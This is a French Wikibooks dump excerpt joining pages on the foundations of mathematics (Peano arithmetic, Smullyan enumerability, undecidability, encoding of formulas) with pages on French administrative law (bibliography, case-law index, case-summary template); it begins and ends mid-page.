..., yn) AF est l’ensemble de tous les axiomes cités jusqu’ici et de toutes leurs conséquences logiques par les règles du calcul des prédicats du premier ordre, que l’on peut exposer par la méthode de la déduction naturelle. Ces axiomes sont identiques ou équivalents à ceux de Peano. ===La vérité des axiomes=== Tous les axiomes de AF qui traduisent des règles de production de VAF0 sont évidemment vrais pour VAF0, puisque du fait même de sa définition, ses règles de production sont toujours vraies. Il reste à prouver que les deux axiomes suivants sont vrais ainsi que tous les axiomes qui traduisent le principe d’induction complète. AF14 Pour tous x et y, si x<y alors non(x=y) AF15 Pour tous x et y, si x=y ou x<y alors non(y<x) AF14 équivaut à non(il existe x et y tels que x<y et x=y) Quand on connait la signification arithmétique des symboles, toutes les règles de production de VAF0 sont des vérités arithmétiques, au sens où elles ne produisent que des conclusions vraies si les prémisses sont vraies. Elles ne peuvent donc jamais produire à la fois x<y et x=y. AF14 est donc vrai dans VAF0. AF15 équivaut à non(il existe x et y tels que (x=y ou x<y)et(non(y<x)) ) Il est vrai dans VAF0 pour la même raison que AF14. Supposons que l’un des axiomes qui traduisent le principe d’induction complète soit faux dans VAF0. Cela veut dire qu’il y a un prédicat P(x, y1, ...., yn) et des nombres c1, ...., cn , tels qu’on ait à la fois (i), (ii) et (iii) . (i) P(0, c1, ...., cn) (ii) Pour tout x, si P(x, c1, ...., cn) alors P(sx, c1, ...., cn) (iii) non (pour tout z, P(z, c1, ...., cn)) (iii) équivaut à il existe un z tel que non P(z, c1, ...., cn). Soit c ce nombre. P(c, c1, ...., cn) serait donc faux dans VAF0 mais une suite de c déductions à partir de P(0, c1, ...., cn) avec (ii) suffit pour prouver que P(c, c1, ...., cn) est vrai. Il faut donc rejeter l’hypothèse que l’un des axiomes qui traduisent le principe d’induction complète est faux. Cela termine cette preuve de la cohérence de AF. Elle revient principalement à dire que tous les axiomes de l’arithmétique sont évidemment vrais pour les nombres entiers, ce qui n’est pas vraiment une nouvelle extraordinaire. Mais cette preuve est importante parce qu’elle prouve qu’on peut prouver la cohérence des axiomes, et donc plus généralement, la fiabilité des principes. Fondements des mathématiques:Théorèmes fondamentaux de l’énumérabilité et de l’indécidabilité 2735 14306 2005-02-28T18:59:22Z Thierry Dugnolle 206 Création Le premier de ces théorèmes montre en quel sens l’ensemble de tous les ensembles énumérables est complètement connu. On pourrait l’appeler le théorème de complétude de l’énumérabilité. Il est équivalent à la preuve d’existence d’une machine universelle, donnée par Turing en 1936, qui est à l’origine de l’invention des ordinateurs. Le second de ces théorèmes montre en quel sens l’ensemble des ensembles énumérables ne peut pas être complètement connu. On pourrait l’appeler le théorème d’incomplétude de l’énumérabilité. Il est équivalent à l’indécidabilité du problème de l’arrêt, prouvée par Turing dans le même article fondateur (On computable numbers, with an application to the Entscheidungsproblem). ==Le théorème fondamental de l’énumérabilité== Nous le démontrerons sous la forme suivante. '''Tous les ensembles énumérables peuvent être représentés dans Enum''' où Enum est l’ensemble de formules atomiques qui a été précédemment défini. Autrement dit. '''L’ensemble de toutes les vérités atomiques d’appartenance à tous les ensembles énumérables est énumérable.''' Au lieu d’une preuve générale et abstraite, nous allons étudier la construction d’un ensemble énumérable particulier, un ensemble VAF0 de vérités atomiques de l’arithmétique formelle. Celui-ci a déjà été introduit avec la définition de l’énumérabilité de Smullyan. Rappelons ici comment il a été déterminé. ===Un exemple d’ensemble énumérable, les vérités arithmétiques atomiques=== VAF0 est défini avec un objet de base, 0, un opérateur unaire s, la fonction de succession, deux opérateurs binaires, + et . , l’addition et la multiplication, et deux prédicats binaires fondamentaux, = et <. L’unique formule initiale de VAF0 est 0=0. Ses règles de production sont les suivantes. R1 Si x=y alors sx=sy R2 Si x=y alors x<sy R3 Si x<y alors x<sy R4 Si x=y alors x+0=y R5 Si x+y=z alors y+x=z R6 Si x+y=z alors x+sy=sz R7 Si x=x alors x.0=0 R8 Si x.y=z alors y.x=z R9 Si x.y=z alors x.sy=z+x R10 Si x=y alors y=x R11 Si x=y et y=z alors x=z R12 Si x=y et y<z alors x<z R13 Si x=y et z<y alors z<x Les éléments de VAF0 sont obtenus à partir de 0=0 en appliquant un nombre fini de fois les règles de production R1 à R13. ===La représentation des formules=== Montrons comment représenter VAF0 à l’intérieur de Enum. Le choix suivant n’est qu’une possibilité parmi d’autres. 0 est représenté par o s est représenté par so + est représenté par sso . est représenté par ssso = est représenté par sssso (4 s devant le o) < est représenté par ssssso (5 s devant le o) Abrégeons “est représenté par” avec erp. *Si u erp x alors su erp asox 1 erp asoo, 2 erp asoasoo, 3 erp asoasoasoo, .... *Si u erp x et v erp y alors u+v erp assobxy 0+0 erp assoboo, 1+(2+3) erp assob(asoo)(assob(asoasoo)asoasoasoo), Les parenthèses ont été introduites pour la lisibilité mais elles ne sont pas nécessaires, parce que la notation de Lukasiewicz a été adoptée. Elle consiste simplement à mettre un opérateur devant ses arguments, écrire +xy au lieu de x+y. *Si u erp x et v erp y alors u.v erp asssobxy 1.1 erp asssob(asoo)(asoo), 2.2 erp asssob(asoasoo)(asoasoo), *Si u erp x et v erp y alors u=v erp assssobxy 0=0 erp assssoboo, 0=1 erp assssobo(asoo), 2+2=4 erp assssob(assob(asoasoo)asoasoo)(asoasoasoasoo) *Si u erp x et v erp y alors u<v erp asssssobxy 0<1 erp asssssobo(asoo), Cette technique de représentation montre que les noms d’objets et les expressions bien formées de n’importe quel ensemble énumérable peuvent être représentés dans Enum, parce qu’il n’y a pas de limites aux nombres finis d’objets de base, d’opérateurs et de prédicats fondamentaux qui peuvent être ainsi représentés. s, a et b ont été choisis précisément dans ce but. b peut être interprété comme un opérateur de couplage, distinct du C de Enum, mais semblable quant à la façon dont il est utilisé. a peut être interprété comme un opérateur d’application d’une fonction, distinct du “Image par...de” de Enum, mais semblable. ===La représentation d’un ensemble générique=== ====La méthode==== Pour construire la représentation d’un ensemble générique Eg dans Enum, on commence par l’ensemble fini Rep-Eg0 des représentations de ses formules initiales. Rep-VAF00 =def Singleton de assssoboo puisque l’unique formule initiale de VAF0 est 0=0. On définit ensuite une fonction de production Prod, telle que ProdX contient toutes les formules de X et toutes leurs conséquences par une seule application d’une des règles de production de Eg. On peut ainsi définir toute une suite de sous-ensembles de Rep-Eg : Rep-Eg0, Rep-Eg1=Prod(Rep-Eg0), Rep-Eg2 = Prod(Rep-Eg1), ... Rep-Eg est alors obtenu en prenant la somme de tous les Rep-Eg(n) où n est un nombre entier. La fonction Prod qui produit ainsi Rep-VAF0 est définie en plusieurs étapes. ====La représentation des termes constants==== L’univers U de VAF0 est l’ensemble de ses noms d’objets. Il délimite l’ontologie de VAF0. U est obtenu par induction à partir de 0 et de l’opérateurs s, + et . . La fonction de succession s est représentée dans Enum par Succ. Succ =def Fonction asoX La fonction d’addition + est représentée dans Enum par Add. Add =def Fonction assobXX’ La fonction de multiplication est représentée dans Enum par Mult. Mult =def Fonction asssobXX’ U est est représenté dans Enum par Tconst, l’ensemble des termes constants. On définit Tconst à partir de Singleton de o et de la fonction Tprod. Pour tout ensemble x de représentants de termes, Tprod(x) est l’ensemble des représentants obtenus à partir de ceux de x en appliquant une fois l’une des fonctions Succ, Add ou Mult. Tprod =def Fonction Extension de (il existe un Z’ tel que (Z Egale Im par Succ de Z’ Et Z’ Dans X)) Ou (il existe un Z’ tel qu’il existe un Z’’ tel que Z Egale Im par Add de CZ’Z’’ Et Z’ Dans X Et Z’’ Dans X) Ou (il existe un Z’ tel qu’il existe un Z’’ tel que Z Egale Im par Mult de CZ’Z’’ Et Z’ Dans X Et Z’’ Dans X) Tconst =def Ensemble somme de Ensemble induit par Tprod à partir de Singleton de o ====La représentation des règles de production==== On va définir des ensembles Inst-R1, Inst-R2, ... qui contiennent des représentations de toutes les règles de production de VAF0 lorqu’elles sont singularisées à des objets, c’est à dire les instances de ces règles. Par exemple, (si 0=ss0 alors s0=sss0) est une instance de la règle R1. L’ensemble Inst-R1 des instances de R1 est obtenu avec la fonction Rep-R1. Rep-R1 =def Fonction C(assssobXX’)(assssob(asoX)asoX’) Inst-R1 =def Ensemble-image par Rep-R1 de Produit cartésien de Tconst et Tconst On définit de même Inst-R2, Inst-R3,... ====La production des conséquences==== Définissons maintenant des fonctions Prod1, Prod2, ... telles que Prodn(X) est l’ensemble des conséquences de X par une application de la règle Rn. Soit C1-Rep-VAF00 l’ensemble des conséquences de Rep-VAF00 par la règle R1. C1-Rep-VAF00 =def Extension de (il existe un Z’ tel que (Z’ Dans Rep-VAF00 Et CZ’Z Dans Inst-R1)) Cela conduit à la définition suivante de Prod1. Prod1 =def Fonction Extension de (il existe un Z’ tel que (Z’ Dans X Et CZ’Z Dans Inst-R1)) Prod2, Prod3, jusqu’à Prod10 peuvent être définis de la même façon. Comme R11, R12 et R13 ont deux prémisses, les définitions de Prod11, Prod12 et Prod13 sont un peu plus compliquées. Prod11 =def Fonction Extension de (il existe un Z’ tel qu’il existe un Z’’ tel que (Z’ Dans X Et Z’’ Dans X Et CZ’CZ’’Z Dans Inst-R11)) Prod =def Fonction Prod1(X) Union (Prod2(X) Union (Prod3(X) Union ... Prod13(X) )) Rep-VAF0 =def Ensemble-somme de (Ensemble induit par Prod à partir de Rep-VAF00) Cela termine cette construction, ou définition, de la représentation Rep-VAF0 dans Enum de l’ensemble VAF0 de toutes les vérités atomiques de l’arithmétique formelle. N’importe quel ensemble générique peut être représenté avec la même technique, parce qu’il n’y a pas de limites quant aux nombres de formules initiales et de règles de production. Enum lui-même peut être complètement représenté à l’intérieur de Enum. Cela ne contredit pas le théorème de Tarski parce que Enum ne contient pas de négations. Nous montrerons plus loin que cette représentation de Enum à l’intérieur d’elle-même conduit au théorème fondamental de l’indécidabilité. ===La représentation d’un ensemble énumérable=== Définissons maintenant le représentant Rep-E d’un ensemble énumérable E défini à partir d’un ensemble générique Eg et d’un prédicat unaire P de Eg. E est un sous-ensemble de U, l’univers des noms d’objet de Eg. Eg est représenté dans Enum par Rep-Eg , P par Rep-P. Rep-E =def Extension de (a(Rep-P)Z Dans Rep-Eg) Conclusion : tout ensemble énumérable peut être représenté dans Enum. Enum est universel. Ce théorème a la même portée que celui de Turing sur l’existence d’une machine universelle. Le principal intérêt de Enum n’est pas de fournir une autre démonstration de ce théorème. L’avantage de Enum par rapport au formalisme de Turing, c’est qu’il se prête naturellement à une formulation axiomatique de la théorie des ensembles. ==Le théorème fondamental de l’indécidabilité== Nous le démontrerons sous la forme suivante. '''Les complémentaires de tous les ensembles énumérables ne peuvent pas être tous représentés dans Enum.''' Autrement dit. '''L’ensemble de toutes les faussetés atomiques d’appartenance à tous les ensembles énumérables n’est pas énumérable.''' Autrement dit. '''L’ensemble de toutes les vérités atomiques d’appartenance à tous les ensembles énumérables est indécidable.''' Soit Rep-Enum un représentant de Enum et supposons que le complémentaire de Enum (dans l’ensemble des formules atomiques) soit représenté par Rep-Cenum. Le procédé de représentation que nous avons introduit permet aisément de définir un prédicat binaire “est représenté par” ou “erp” défini pour toutes les expressions formelles. Pour toute expression formelle x, x erp y si et seulement si y est le représentant de x. On peut également définir une fonction numérique Rep-Dans telle que Rep-Dans(x, y) est dans Rep-Enum si et seulement si l’expression formelle représentée par x est dans l’ensemble représenté par y. On peut alors définir le prédicat unaire suivant. il existe un y tel que x est représenté par y et Rep-Dans(y, x) est dans Rep-Cenum. Ce prédicat unaire est finitaire. Son extension est donc un ensemble représenté par une expression formelle RS. RS est-elle dans l’ensemble qu’elle représente ? x est dans l’ensemble représenté par RS équivaut par définition à il existe un y tel que x est représenté par y et Rep-Dans(y, x) est dans Rep-Cenum. RS est dans l’ensemble représenté par RS équivaut donc à il existe un y tel que RS est représenté par y et Rep-Dans(y, RS) est dans Rep-Cenum. Et donc à : RS n’est pas dans l’ensemble représenté par RS. C’est une contradiction. L’hypothèse de l’existence de Rep-Cenum doit donc être rejetée. Cela termine cette démonstration du théorème fondamental de l’indécidabilité. Droit administratif/Par où commencer ? 2737 41189 2006-04-29T15:43:32Z Pseudomoi 395 == Sur le web == *[http://www.legifrance.gouv.fr/ Légifrance] : répertoire de la jurisprudence et du droit français == Bibliographie == * '''Je veux réussir mon droit''', ISBN 2-247-04297-X. Un ouvrage de préparation et de méthodologie dont le but, partagé par le présent Wikilivre, est de faire réussir les examens universitaires à son lecteur (pas uniquement en droit administratif). * Le fameux '''GAJA''', c'est-à-dire '''Les grands arrêts de la jurisprudence administrative''', ISBN 2-247-05180-4. Il contient environ 120 arrêts de [[Droit administratif/La jurisprudence|jurisprudence]], avec pour chacun d'eux le texte intégral et un commentaire. === Manuels === * '''Traité de Droit administratif - tome 1 : Droit administratif général''' par Yves Gaudemet, 16ème édition L.G.D.J. ISBN 2-275-02075-6. Un manuel de référence qui couvre en détail les différents aspects du droit administratif tel qu'il est abordé en deuxième année de licence (cursus LMD français). Yves Gaudemet est professeur de droit à l'université Paris II Panthéon-Assas. * '''Droit administratif général - tome 1''' par René Chapus, 15ème édition Montchrestien ISBN 2-7076-1266-9. Contenu à peu près identique à celui de l'ouvrage précédent, mais approche léegèrment différente. (Ensuite c'est une question de goût.) === Mémentos === * '''Droit administratif général''' par Gustave Peiser, 22ème édition Dalloz ISBN 2-247-05489-7. L'essentiel du droit administratif en 200 pages Il existe bien évidement de nombreux autres ouvrages qui abordent le sujet de manière plus ou moins spécialisée et approfondie. Dans l'inconnu, le conseil d'un professeur, d'un chargé de travaux dirigés ou d'un libraire spécialisé est fortement recommandé. [[Catégorie:Droit administratif|Par où commercer]] Droit administratif/La jurisprudence 2738 41191 2006-04-29T15:45:02Z Pseudomoi 395 De façon générale en droit, on ne peut rien affirmer qu'on ne sache démontrer, que ce soit lors d'un examen ou dans l'exercice d'une profession juridique. En droit civil par exemple, la justification d'une décision ou d'une théorie se trouve la plupart du temps dans la loi (le Code Civil); en revanche, en droit administratif où les textes de loi sont rares, la jurisprudence est une [[Droit administratif/Sources|source du droit]] très importante. Pour l'étudiant, cela signifie qu'il faut connaître une assez grande quantité de décisions-charnières pour étayer son argumentation à l'écrit où à l'oral. [[Droit administratif/La jurisprudence/Comment rédiger une fiche d'arrêt|Comment rédiger une fiche d'arrêt]], de façon indépendante du support - [[Droit administratif/La jurisprudence/Modèle de fiche d'arrêt|Modèle de fiche d'arrêt]], à copier-coller pour mettre vos propres fiches dans le Wikilivre. ---- == Sources du droit administratif == [[Droit administratif/La jurisprudence/Blanco|TC 1873, Blanco]] : Spécificité du droit administratif et distanciation du Code Civil [[Droit administratif/La jurisprudence/Veuve Trompier-Gravier|CE Sect 1944, veuve Trompier-Gravier]] : PGD du droit de recours contre les décisions administratives === Hiérarchie des normes === [[Droit administratif/La jurisprudence/Niccolo|CE 1989, Niccolo]] : prépondérance des traités Européens sur une loi nationale contradictoire, même promulguée après ledit traité (revirement de jurisprudence administrative) == Police administrative == [[Droit administratif/La jurisprudence/Benjamin|CE 1933, Benjamin]] : nécessaire proportion des mesures de police à l'importance de la menace à l'ordre public [[Catégorie:Droit administratif|Jurisprudence]] Droit administratif/La jurisprudence/Modèle de fiche d'arrêt 2739 41195 2006-04-29T15:49:25Z Pseudomoi 395 == Référence == <!-- Différents types de références abrégées (les paramètres, séparés par des barres verticales, sont la date, suivi du numéro de l'arrêt) : --> {{Droit administratif/Jurisprudence/CE Sect|2 mars 1973|84740}} {{Droit administratif/Jurisprudence/CE Ass|20 décembre 1985|31927}} <!-- Si l'arrêt concerne plusieurs décisions à la fois, séparer leurs numéros par des espaces : --> {{Droit administratif/Jurisprudence/CE contentieux|19 mai 1933|17413 17520}} {{Droit administratif/Jurisprudence/CC|16 juillet 1971|71-44 DC}} <!-- Si l'arrêt se trouve dans le GAJA: --> {{Droit administratif/Jurisprudence/GAJA|57}} <!-- Si on a la patience de rechercher sur Légifrance : --> Texte de l'arrêt disponible sur [http://www.legifrance.gouv.fr/WAspad/UnDocument?base=JADE&nod=JGXAX1973X03X0000084740 Légifrance] == Textes cités == * L'article 37 de la Constitution * La loi n° 1234-4 du 15 juillet 2003, et plus particulièrement son article 42 == Chronologie == * 1er janvier 1971 : ceci * 2 décembre 1982 : cela * 15 juillet 2003 : promulgation de la loi n° 1234-4 ''reprendre les parutions des textes de loi dans la chronologie uniquement si le fait a une incidence dans le point de droit, par exemple pour [[Droit administratif/La jurisprudence/Niccolo|l'arrêt Niccolo]]'' == Faits == Parfois croustillants, ils sont la clef de recherche de l'arrêt dans la mémoire de l'étudiant. == Procédure == Donner le sens des décisions précédentes et de celle dont traite l'arrêt. Ne pas rappeler la chronologie. == Analyse des motifs == Expliquer ici l'argumentation que suit le tribunal pour partir des faits et arriver à sa conclusion. == Point(s) de droit == Corriger "Point(s)" en "Point" ou "Points" selon le nombre de points de droit abordés. Pour chaque point : * énoncer le problème de droit sous la forme d'une question abstraite; * donner la solution choisie par la Cour. == Portée de la solution == De quelle façon cette décision fait-elle jurisprudence? == Culture juridique == Sujets et arrêts connexes. [[Catégorie:Droit administratif|{{SUBPAGENAME}}]] Fondements des mathématiques : l'énumérabilité selon Smullyan 2741 14311 2005-03-01T05:16:07Z Thierry Dugnolle 206 ==Un exemple== L’ensemble VAF0 des vérités atomiques de l’arithmétique élémentaire va nous servir ici pour donner un contenu concret aux définitions qui vont suivre. VAF0 est défini avec un objet de base, 0, un opérateur unaire s, la fonction de succession, deux opérateurs binaires, + et . , l’addition et la multiplication, et deux prédicats binaires fondamentaux, = et <. On pourrait faire un choix plus restreint, 0, +, . , et =, par exemple. Mais les axiomes de l’arithmétique formelle sont plus faciles à énoncer avec ce choix-la. L’unique formule initiale de VAF0 est 0=0. Ses règles de production sont les suivantes. R1 Si x=y alors sx=sy R2 Si x=y alors x<sy R3 Si x<y alors x<sy R4 Si x=y alors x+0=y R5 Si x+y=z alors y+x=z R6 Si x+y=z alors x+sy=sz R7 Si x=x alors x.0=0 R8 Si x.y=z alors y.x=z R9 Si x.y=z alors x.sy=z+x R10 Si x=y alors y=x R11 Si x=y et y=z alors x=z R12 Si x=y et y<z alors x<z R13 Si x=y et z<y alors z<x Les éléments de VAF0 sont obtenus à partir de 0=0 en appliquant un nombre fini de fois les règles de production R1 à R13. ==Les ensembles génériques== Commençons par donner la définition des ensembles génériques, celle des ensembles énumérables en résultera immédiatement. VAF0 est un ensemble générique. Les ensembles génériques sont énumérables. Un ensemble générique Eg est défini à partir de cinq ensembles finis, l’ensemble des objets de base, l’ensemble des opérateurs fondamentaux, l’ensemble des prédicats fondamentaux, l’ensemble des formules initiales et l’ensemble des règles de production. Les éléments de Eg sont des formules atomiques, composées avec des noms d’objet et des prédicats fondamentaux. Les objets sont obtenus à partir des objets de base en leur appliquant les opérateurs fondamentaux. Les formules initiales sont des formules atomiques. Pour expliciter les règles de production, il faut introduire des noms de variable, distincts de tous les noms, d’objets, d’opérateurs et de prédicats, déjà introduits. Les variables de R1 à R13 sont x, y et z. Les termes sont obtenus à partir des objets et des variables en leur appliquant les opérateurs fondamentaux. 0, x+s0 et x.(sy+s0) sont des termes. Une clause atomique est une formule atomique construite avec des prédicats fondamentaux et des termes, x+y=z par exemple. Une règle de production est définie par un nombre n fini de clauses atomiques. Les n-1 premières clauses sont les conditions de production, ou prémisses, la dernière clause est le résultat, ou conclusion. Toutes les règles de R1 à R10 ne contiennent qu’une seule prémisse. R11, R12, et R13 en contiennent deux. On impose en général que toutes les variables mentionnées dans la conclusion aient d’abord été mentionnées dans les prémisses. On interprète une règle de production en disant que si les conditions de production sont satisfaites alors le résultat est produit. L’ensemble générique Eg est l’ensemble toutes les formules obtenues à partir des formules initiales en appliquant un nombre fini, éventuellement très grand, de fois les règles de production. ==Les ensembles énumérables== Un système formel E est énumérable s’il existe un ensemble générique Eg et un prédicat unaire P fondamental de Eg tels que x est dans E équivaut à Px est dans Eg. ==Les ensembles génériques sont énumérables== Un ensemble générique est un ensemble de formules atomiques tandis qu’un ensemble énumérable est un ensemble d’objets. Cette différence n’est pas fondamentale. Les ensembles génériques sont énumérables et leurs formules peuvent être considérées comme des objets. Plus précisément, chaque prédicat fondamental d’un ensemble générique Eg peut être considéré comme un opérateur au point de vue d’un autre ensemble générique. Pour montrer que Eg est énumérable, définissons l’ensemble générique Eg’ avec les mêmes objets de base et les mêmes opérateurs fondamentaux que Eg. Chaque prédicat fondamental de Eg est considéré comme un opérateur fondamental de Eg’. Eg’ , quant à lui a un seul prédicat unaire, P. Chaque formule atomique f de Eg est un objet pour Eg’ . Les formules initiales de Eg’ sont les formules Pf où f est une formule initiale de Eg. Les règles de production de Eg’ sont obtenues à partir de celles de Eg en remplaçant leurs formules f par Pf. Eg est énumérable parce qu’il est défini par Eg’ et le prédicat unaire P. ==L'équivalence entre les définitions de Turing et Smullyan== La définition présente de l’énumérabilité est un peu différente de celle de Smullyan (Theory of formal systems) parce qu’ici les expressions formelles sont des formules bien formées, au sens de la grammaire des opérateurs, alors que dans la théorie de Smullyan, les expressions formelles sont toutes les suites finies de symboles. Cette différence est mineure et est introduite ici seulement par souci d’uniformité. C’est pourquoi cette définition est ici appelée énumérabilité au sens de Smullyan. Pour prouver que l’énumérabilité au sens de Smullyan est équivalente à l’énumérabilité au sens de Turing, il faut prouver (i) et (ii). (i) Un ensemble Smullyan-énumérable est Turing-énumérable. (ii) Un ensemble Turing-énumérable est Smullyan-énumérable. (i) est assez évident pour tous ceux qui savent programmer un ordinateur. On peut définir un ordre sur l’ensemble de toutes les productions, celles-ci étant définies comme des suites finies de règles de production. Le problème de savoir si une formule est obtenue par une production à partir des formules initiales est décidable parce qu’une production ne produit qu’un nombre fini de formules. On programme alors l’ordinateur pour qu’il examine toutes les productions une par une. Si la formule étudiée est obtenue par une de ces productions, alors l’ordinateur s’arrête, sinon il examine la production suivante. Un ordinateur ainsi programmé s’arrête si et seulement si la formule étudiée fait partie de l’ensemble Smullyan-énumérable étudié. Un ensemble Smullyan-énumérable est donc toujours Turing-énumérable. (ii) On considère les vérités de la forme x est l’état numéro i d’une machine dont le programme est y et dont l’état initial est z. L’état numéro zéro est défini par l’état initial de la mémoire et la position initiale de la machine. L’état numéro i+1 est obtenu après l’exécution d’une instruction sur l’état numéro i. A partir d’une définition rigoureuse du concept de machine de Turing universelle, on peut définir un ensemble Smullyan-énumérable qui contient toutes les vérités de la forme ci-dessus, ainsi que toutes celles qui précisent que la machine s’est arrêtée, pour un programme PrU d’une machine universelle. Cela prouve (ii). ==La définition de Smullyan et les théories axiomatiques des ensembles== Les définitions de Turing et de Smullyan permettent toutes les deux de définir des ensembles énumérables de vérités atomiques. Mais celle de Smullyan est avantageuse au point de vue de l’axiomatique, parce que les règles de production peuvent être immédiatement traduites en axiomes. Les axiomes ainsi définis sont automatiquement vrais si le modèle est un ensemble générique défini avec ces règles de production. La définition de Smullyan simplifie souvent la tâche quand on veut trouver un modèle, un ensemble de vérités atomiques, pour des axiomes. Fondements des mathématiques : La négation dans les prédicats finitaires 2742 14312 2005-03-01T05:23:59Z Thierry Dugnolle 206 Création Pour élargir l’ontologie de Enum, on introduit la négation dans les prédicats. Non est un opérateur unaire fondamental. PredNon Si p est un prédicat alors (Non p) est un prédicat ==La définition de la vérité et de la fausseté des formules== “est faux” est un prédicat unaire fondamental. Les règles Vrai1 et Vrai2 de Enum sont complétées par les deux suivantes. Faux1 Si x n’est pas dans y alors (x Dans y) est faux Faux2 Si non(x = y) alors (x Egale y) est faux Faux1 et Faux2 ne sont pas des règles de production des ensembles énumérables parce que leurs prémisses contiennent une négation et ne sont donc pas atomiques. Faux-non Si p est vrai alors (Non p) est faux Vrai-non Si p est faux alors (Non p) est vrai FauxOu Si p et q sont faux alors (p Ou q) est faux Asser4 Si p est une assertion alors (Non p) est une assertion FauxEt Si p est faux et q est une assertion alors (p Et q) et (q Et p) sont faux FauxExist Si z est une Z-variable et p est un prédicat et (pour tout c) (si c est une constante et c est simple et subst qczp alors q est faux) alors (Il existe un z tel que p) est faux FauxExist n’est pas une règle de production des ensembles énumérables, à cause du quantificateur (pour tout c). Frege3 Si p est un prédicat finitaire et q est obtenu par une suite correcte de substitutions de la liste c dans p et q est faux alors c n’est pas dans Extension de p ==Les prédicats finitaires avec négation== “est un prédicat sans variables liées” est un prédicat unaire fondamental. PredFinNon Si p est un prédicat finitaire et q est un prédicat sans variables liées et q a toutes ses variables dans p alors ((Non q) Et p) et (p Et Non q) sont des prédicats finitaires PredDansNvl Si x est un Z-terme et (y est un ensemble ou y est une Z-variable) alors (x Dans y) est un prédicat sans variables liées PredEgaleNvl Si x et y sont des Z-termes alors (x Egale y) est un prédicat sans variables liées PredEtNvl Si p et q sont des prédicats sans variables liées alors (p Et q) est un prédicat sans variables liées PredOuNvl Si p et q sont des prédicats sans variables liées alors (p Ou q) est un prédicat sans variables liées PredNonNvl Si x est un prédicat sans variables liées alors (Non x) est un prédicat sans variables liées ==Règles auxiliaires pour les variables== SubNon Si Subst vwxu et u est un prédicat alors Subst(Non v)wx(Non u) OrVarNon Si x est une Z-variable et p est un prédicat et x est premier dans p alors x est premier dans (Non p) OcZvar6 Si x a au moins une occurence dans p et p est un prédicat alors x a au moins une occurence dans Non p IncVarPred5 Si p et q sont des prédicats et p a toutes ses variables dans q alors p a toutes ses variables dans (Non q) IncVarPred6 Si p et q sont des prédicats et p a toutes ses variables dans q alors (Non p) a toutes ses variables dans q ==Le complémentaire d’un ensemble dans un autre== L’opérateur binaire de différence entre deux ensembles peut être défini par un prédicat finitaire qui contient une négation. x Moins y =def Extension de Z Dans x Et Non(Z Dans y) x Moins y est aussi appelé le complémentaire de y dans x. On peut alors dériver les deux règles suivantes. M1 Si x et y sont des ensembles alors x Moins y est un ensemble M2 Si z est dans x et z n’est pas dans y alors z est dans x Moins y x n’est pas dans y est la façon courante de dire non( x est dans y) . Comme Faux1 et Faux2 et pour la même raison, M2 n’est pas une règle de production des ensembles énumérables. Quand on enrichit l’ontologie de Enum en introduisant la négation dans les prédicats finitaires, avec l’opérateur Non, on obtient une ontologie finitaire élémentaire mais suffisamment riche pour formuler la plupart des questions des mathématiques finitaires. ==La production des non-équations entre expressions formelles== Toutes les non-équations entre expressions formelles sont produites par les quatre règles suivantes. x ≠ y est une abréviation pour non(x = y) NeqEform1 Si x est une expression formelle alors sx ≠ o NeqEform2 Si x et y sont des expressions formelles alors axy ≠ o et bxy ≠ o NeqEform3 Si x et y sont des expressions formelles et x ≠ y alors sx ≠ sy NeqEform4 Si w, x, y et z sont des expressions formelles et w ≠ x alors awy ≠ axz et ayw ≠ azx et bwy≠ bxz et byw ≠ bzx Les non-équations entre listes d’expressions formelles sont obtenues avec les règles suivantes. NeqSimp Si x est simple et y et z sont des constantes alors x ≠ Cyz NeqListe Si x ≠ y et w et z sont des constantes alors Cxw ≠ Cyz et Cwx ≠ Czy Fondements des mathématiques : la construction finitaire de l'ensemble des vérités 2746 14315 2005-03-01T16:36:07Z Thierry Dugnolle 206 Création ==La construction d’un ensemble de vérités== Pour prouver formellement qu’une théorie T est cohérente, il suffit de lui trouver un modèle. Autrement dit, il suffit de définir un ensemble M de formules atomiques et de prouver que tous les axiomes de T sont vrais si M est pris comme modèle. Pour atteindre ce but, on peut définir l’ensemble VM de toutes les formules vraies pour M et essayer alors de prouver que tous les axiomes de T sont dans VM. La construction de VM à partir de M est finitaire. On en déduit que si un modèle est finitaire alors l’ensemble de toutes les formules vraies pour ce modèle est lui aussi finitaire. Nous verrons plus loin (Paradoxes des mathématiques finitaires) que ce théorème est compatible avec le théorème d’incomplétude de Tarski et le théorème de complétude de Gödel. Remarquons qu’en général T est inclus dans VM mais ne lui est pas égal, parce que T ne contient que les formules prouvables à partir des axiomes, et que pour toute théorie T suffisamment riche, il y a des formules vraies et non-prouvables. ==L’ensemble des vérités de l’arithmétique formelle== Au lieu d’une construction abstraite de VM à partir de M, nous allons construire VAF à partir de VAF0, l’ensemble des vérités de l’arithmétique formelle à partir de l’ensemble des vérités atomiques de l’aithmétique formelle. Mais cette construction a une valeur générale. VAF va être défini par induction sur la complexité des formules. VAF est la réunion de tous les VAFn, pour n entier positif. VAFn est l’ensemble des vérités de degré n. Le degré n d’une formule est le nombre maximal d’opérateurs logiques emboités qu’elle contient. Deux opérateurs logiques sont emboités dans une formule, si l’un est contenu dans une sous-formule sur laquelle porte l’autre. Par exemple, dans (p ou q) et non r , “ou” est emboité dans le “et” mais pas dans le “non”. VAF0 = l’ensemble des vérités atomiques, par définition, puisque les formules de degré 0 sont atomiques. ==Le codage des formules== erp est une abréviation de est représenté par. 0 erp o s erp so + erp sso . erp ssso (3) = erp sssso (4) < erp ssssso (5) Pour définir VAF, il faut représenter les opérateurs logiques non erp sssssso (6) et erp ssssssso (7) ou erp sssssssso (8) x erp ssssssssso (9) (il existe un x tel que) erp sssssssssso (10) (pour tout x) erp ssssssssssso (11) x’ erp ssssssssssso (12) (il existe un x’ tel que) erp ssssssssssssso (13) (pour tout x’) erp sssssssssssssso (14) et ainsi de suite pour les autres variables, x’’, x’’’, ... Pour que la suite soit plus compréhensible, nous introduisons les définitions suivantes : rs =def so, r+ =def sso, r. =def ssso, r= =def sssso, r< =def ssssso, rnon =def sssssso, ret =def ssssssso, rou =def sssssssso, rx =def ssssssssso, rexx =def sssssssssso, rttx = def ssssssssssso Si t erp u alors st erp a(rs)u Si t erp u et v erp w alors t+v erp a(r+)buw Si t erp u et v erp w alors t.v erp a(r.)buw Si t erp u et v erp w alors t=v erp a(r=)buw Si t erp u et v erp w alors t<v erp a(r<)buw Si p erp P alors (non p) erp a(rnon)P Si p erp P et q erp Q alors (p et q) erp a(ret)bPQ Si p erp P et q erp Q alors (p ou q) erp a(rou)bPQ Si p erp P alors (il existe un x tel que p) erp a(rexx)P Si p erp P alors (pour tout x, p) erp a(rttx)P ==La représentation des nombres entiers== L’ensemble des nombres naturels erp N 0 erp o 1 erp a(so)o 2 erp a(so)(a(so)o) 